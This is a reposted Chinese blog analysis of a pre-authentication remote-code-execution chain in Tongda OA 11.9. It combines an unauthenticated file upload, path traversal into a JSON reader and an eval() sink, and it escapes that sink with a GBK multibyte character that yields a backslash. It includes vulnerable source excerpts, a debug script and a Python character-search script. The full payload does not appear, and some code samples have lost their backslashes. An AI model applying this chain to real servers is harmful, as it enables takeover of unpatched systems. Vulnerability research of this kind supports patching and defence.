【转】通达oa11.9前台getshell漏洞分析

免责 声明 

LR SEC

LR SEC /

通达oa下载地址：https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe

源码解密：SeayDzend.exe

LR SEC /

前台文件上传点

/mobile/api/api.ali.php无需登录，可以上传文件，但无法上传php等敏感类型文件

测试上传数据包

其中2203目录是取的日期，而1130028766是随机的字符串，可以在源码中看到

eval函数参数可控

incpackagebusinessAllVariableBusinessProcessing.php文件中的$variableData变量由传入的$BackData['dataAnalysis']赋值，存在可控点

在incpackageDataTransport.php的backData()方法中调用了backDataAnalysis()方法，而在acceptData()方法中调用了backData()方法，继续看acceptData()方法的代码

public function acceptData($id)
    {
        $json_file = MYOA_ATTACH_PATH2 . "syn/recv/data/" . $id . "/" . $id . ".json";
        $data = $this->analysisJson($json_file);
        $query = "select * from file_transfer_address where system_address ='" . $data["send_url"] . "'";
        $cursor = exequery(TD::conn(), $query);

        if ($ROW = mysql_fetch_array($cursor)) {
            $receive = $ROW["id"];
        }

        if ($data["type"] == "send") {
            $modular = $data["modular"];
            include_once "inc/package/business/" . $modular . "BusinessProcessing.php";
            $BusinessProcess = $modular . "BusinessProcessing";
            $BusinessProcessing = new $BusinessProcess();
            $new_file = MYOA_ATTACH_PATH2 . "syn/recv/data/" . $id;
            $data["fileAddress"] = $this->getFile($id, $data["fileList"]);
            $new_data = json_decode($data["organizeData"], true);
            $new_data["fileAddress"] = $data["fileAddress"];
            $new_data["send"] = $receive;
            $new_data["receive"] = $receive;
            $new_data = json_encode($new_data);
            $dataAnalysis = $BusinessProcessing->dataAnalysis($new_data);

            if ($dataAnalysis) {
                $runId = $data["Id"];
                $query = "select * from file_transfer_address where id = '999'";
                $cursor = exequery(TD::conn(), $query);

                if ($ROW = mysql_fetch_array($cursor)) {
                    $send_url = $ROW["system_address"];
                }

                $backData = array("id" => $data["id"], "type" => "back", "send_url" => $send_url, "send" => $receive, "receive" => $receive, "modular" => $modular, "dataAnalysis" => $dataAnalysis);
                $json_file = $this->makeJson($backData);
                $redis = TRedis::redis();
                $message = array("json" => $json_file, "netid" => $receive);
                $redis->hmset("syn:send:data:" . $id, $message);
                $time = time();
                $redis->zadd("syn:orig:list", $time, $id);
            }
        }
        else {
            $data["send"] = $receive;
            $data["receive"] = $receive;
            $this->backData($data);
        }

        return "+OK";
    }

重点关注这几行代码

public function acceptData($id)
    {
        $json_file = MYOA_ATTACH_PATH2 . "syn/recv/data/" . $id . "/" . $id . ".json";
        $data = $this->analysisJson($json_file);
        ......
        $this->backData($data);

而在/inc/package/work.php又调用了acceptData()方法，并且没有权限校验，其中$id直接传入到语句中，存在目录穿越，可以读取任意地方的 json 文件然后进行 json 格式解码后赋值给$data

这里就和前面的文件上传组合起来构成一条利用链，剩下的就是要构造上传的文件内容。

回到eval()函数点

重点注意这几行代码即可

static public function backDataAnalysis($BackData) 
    {
        $variableData = $BackData['dataAnalysis'];
        $variableData = json_decode($variableData, true);
        $variableData = eval('return ' . iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));

因为这是个json文件，并且在前面的acceptData()方法中进行了json_decode()，所以文件内容需要为json格式，同时为了满足跳转到backDataAnalysis方法，起初构造如下

{"modular":"AllVariable","dataAnalysis":"{"aaa":"bbb"}"}

按照源码写一个测试脚本，目的是为了debug

<?php

$BackData = array("modular"=>"AllVariable","dataAnalysis"=>"{"aaa":"bbb"}");
var_dump($BackData);
dotast($BackData);
function dotast($BackData){;
    $variableData = $BackData['dataAnalysis'];
    $variableData = json_decode($variableData, true);
    echo(iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));
    $variableData = eval('return ' . iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));
}
dotast($BackData);
?>

开启debug，走到eval()函数后，内容如图

如果我们能在bbb处逃逸出单引号，闭合剩下的语句，就可以实现代码执行，即想实现如下代码效果

<?php
return array (
  'a' => 'bbb',eval(xxxx));/*',
);

但我们知道即使加上了一个单引号，也会进行转义，逃逸失败

<?php
return array (
  'a' => 'bbb',eval(xxxx));/*',
);

如果再多出一个转义符号呢？多出的转义符会将第二个进行转义，实现单引号闭合，成功逃逸。所以我们接下来需要想办法构造出一个转义符

<?php
return array (
  'a' => 'bbb\',eval(xxxx));/*',
);

注意看前面的代码echo(iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));，精彩的地方在于这里使用了iconv()把utf-8编码转成GBK编码，我们写一个 python 自动脚本帮我们寻找哪些汉字可以在进行转换后末尾带符号

# -- coding:UTF-8 --
# Author:dota_st
# Date:2022/3/12 20:30
# blog: www.wlhhlc.top
import random

def Unicode():
    val = random.randint(0x4e00, 0x9fbf)
    return chr(val)

while 1:
    create_s = Unicode()
    for i in create_s:
        test = i.encode('gbk')
        for j in test:
            if ascii(j) == '92':
                print('ok:', i)

使用汉字覾一枚，构成如下php测试脚本

debug走起，在走到eval()的时候，语句内容如下

成功实现逃逸，并且代码执行成功，生成 php 文件
   

LR SEC /

LR SEC /